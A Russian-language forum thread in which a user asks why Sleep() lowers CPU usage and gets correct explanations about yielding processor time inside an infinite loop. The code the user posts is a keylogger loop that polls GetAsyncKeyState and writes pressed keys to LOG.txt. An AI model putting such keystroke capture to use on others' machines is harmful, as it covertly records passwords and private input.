|
|
Регистрация Восстановить пароль |
Повторная активизация e-mail |
Регистрация | Задать вопрос |
Заплачу за решение |
Новые сообщения |
Сообщения за день |
Расширенный поиск |
Правила |
Всё прочитано |
|
Опции темы | Поиск в этой теме |
20.03.2017, 14:11 | #1 |
Форумчанин
Регистрация: 18.12.2015
Сообщений: 141
|
Что дает Sleep()?
У меня программа сжирает всю память процессора. Посоветовали дописать Sleep(20) перед циклом. Но я не понимаю, что это может дать? Кто знает-напишите, пожалуйста.
|
20.03.2017, 14:13 | #2 |
Старожил
Регистрация: 15.02.2010
Сообщений: 15,709
|
1. Не память проца, а время
2. Не перед циклом, а внутри 3. Может и Sleep(0) помочь Что даст? Даст ОС возможность давать кванты процессорного времени и другим задачам. |
20.03.2017, 14:27 | #3 |
Форумчанин
Регистрация: 18.12.2015
Сообщений: 141
|
Почему не перед циклом?
Вот отрывок кода с циклами Куда тут его вставлять Код:
Посоветовали перед for(i = 8; i <= 190; i++) Последний раз редактировалось Аватар; 20.03.2017 в 14:29. |
20.03.2017, 14:51 | #4 |
Старожил
Регистрация: 15.02.2010
Сообщений: 15,709
|
Правильно посоветовали. Я говорил про вечный цикл, который while(1) в него надо.
|
20.03.2017, 15:08 | #5 |
Форумчанин
Регистрация: 18.12.2015
Сообщений: 141
|
Вот, надеюсь правильно прописал
while (1) { Sleep(20); for(i = 8; i <= 190; i++) { if (GetAsyncKeyState(i) == -32767) Save (i,"LOG.txt"); } } system ("PAUSE"); return 0; } Но в итоге всего лишь на 2% меньше грузит, чем без Sleep() О чем это говорит? |
20.03.2017, 22:04 | #6 |
Форумчанин
Регистрация: 18.12.2015
Сообщений: 141
|
Ответа не будет?
|
20.03.2017, 22:19 | #7 |
Старожил
Регистрация: 15.02.2010
Сообщений: 15,709
|
Какой ответ вы ждете? Вы в уикле практически ничего не делаете, кроме хавания проца...
|
Похожие темы | ||||
Тема | Автор | Раздел | Ответов | Последнее сообщение |
Sleep - что внутри? | 7in | Win Api | 19 | 19.09.2016 16:31 |
Не дает выключить форму | FleXik | Общие вопросы Delphi | 25 | 09.06.2014 13:33 |
Что то не дает забиндить порты | Abuhamed | Windows | 2 | 03.10.2013 00:14 |
формула дает ошибку | WIC | Microsoft Office Excel | 3 | 01.12.2010 20:51 |
Что дает лицензия? | misher | Свободное общение | 52 | 13.08.2010 21:20 |